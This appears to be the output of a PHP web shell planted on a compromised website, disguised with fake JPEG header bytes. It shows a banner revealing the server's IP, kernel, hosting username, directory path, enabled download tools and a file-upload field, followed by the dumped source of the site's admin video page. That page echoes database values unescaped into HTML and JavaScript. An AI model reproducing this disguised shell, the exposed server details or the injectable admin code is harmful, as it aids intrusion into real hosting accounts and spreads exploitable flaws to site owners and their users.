���� JFIF adgknasdgsa
Server IP : 195.35.60.214 / Your IP : 3.137.192.228 Web Server : LiteSpeed System : Linux us-imm-web537.main-hosting.eu 4.18.0-513.11.1.lve.el7h.x86_64 #1 SMP Thu Jan 18 15:21:24 UTC 2024 x86_64 User : u547896322 ( 547896322) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u547896322/domains/amrutimba.com/public_html/admin/ |
Upload File : |
<?php include_once '../config/config.php'; include_once '../controller/ctrlvideoslist.php'; $video=getvideos(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Responsive Admin & Dashboard Template based on Bootstrap 5"> <meta name="author" content="AdminKit"> <meta name="keywords" content="adminkit, bootstrap, bootstrap 5, admin, dashboard, template, responsive, css, sass, html, theme, front-end, ui kit, web"> <link rel="preconnect" href="https://fonts.gstatic.com"> <link rel="shortcut icon" href="img/icons/icon-48x48.png" /> <link rel="canonical" href="https://demo-basic.adminkit.io/pages-blank.html" /> <script src="https://cdn.ckeditor.com/4.9.2/standard/ckeditor.js"></script> <title>Amrut</title> <link href="css/app.css" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600&display=swap" rel="stylesheet"> </head> <body> <div class="wrapper"> <?php include_once 'sidebar.php'; ?> <div class="main"> <?php include_once 'header.php'; ?> <section> <div class="container col-md-11 m-auto "> <div class="text-center" > <h3 style="font-weight:bold; color:#000;">Add Videos</h3> </div> <form action="../controller/ctrladdvideos.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="vid" id="vid" value=""> <div class="row"> <textarea name="vlinks" id="vlinks" rows="10" ></textarea> <!-- <center><label for="">Videos Name</label></center>--> <div class="col-lg-12 col-md-12"> </div> <div class="row"> <div class="col-md-3"> <input class="btn btn-primary form-control " type="submit" value="submit" name="submit" style="margin-top:20px;"> </div> </div> </div> </form> <div class="" style="margin-top:40px"> <div class="text-center"><h2 class="fw fw-bold" style="font-weight:bold; color:#000;">video List</h2></div> <table class="table table-bordered"> <thead> <tr> <th>Sr.No</th> <th>Videos</th> <th>Name</th> <th>Action</th> </tr> <?php $sn=1; foreach($video as $vdo){ ?> <tr> <td><?php echo $sn++; ?></td> <td><?php echo $vdo['vlinks'] ?> </td> <td><?php echo $vdo['vnames']; ?></td> <td><a class="btn btn-success" onclick="updatevideos('<?php echo $vdo['vid']; ?>','<?php echo $vdo['vlinks']; ?>','<?php echo $vdo['vnames']; ?>')">Edit <i class="fas fa-edit"></i> </a> <a class="btn btn-danger" onclick="deletevideosbyid(<?php echo $vdo['vid'] ?>)"> Del <i class="fas fa-trash"></i> </a> </td> </tr> <?php } ?> </thead> </table> </div> </div> </section> </div> </div> <script type="text/javascript"> function deletevideosbyid(id) { if (confirm("are u sure to delete Video ")) { window.location = "../controller/ctrldelvideos.php?vid=" + id; } else { return false; } } function updatevideos(vid,vlinks,vname){ videoid=document.getElementById("vid"); video1=document.getElementById("vlinks"); vname1=document.getElementById("vname"); // photoname=document.getElementById("photoname"); vid.value=id; video1.value=vlinks; vname1.value=vname; } </script> <script> CKEDITOR.replace(''); CKEDITOR.replace('editor2'); CKEDITOR.replace('editor3'); CKEDITOR.replace('objective'); CKEDITOR.replace('editor5'); CKEDITOR.replace('editor6'); CKEDITOR.replace('editor7'); CKEDITOR.replace('editor8'); CKEDITOR.replace('editor9'); CKEDITOR.replace('objectives'); function getData() { //Get data written in first Editor var editor_data = CKEDITOR.instances['editor1'].getData(); //Set data in Second Editor which is written in first Editor CKEDITOR.instances['editor2'].setData(editor_data); } </script> <script src="js/app.js"></script> </body> </html>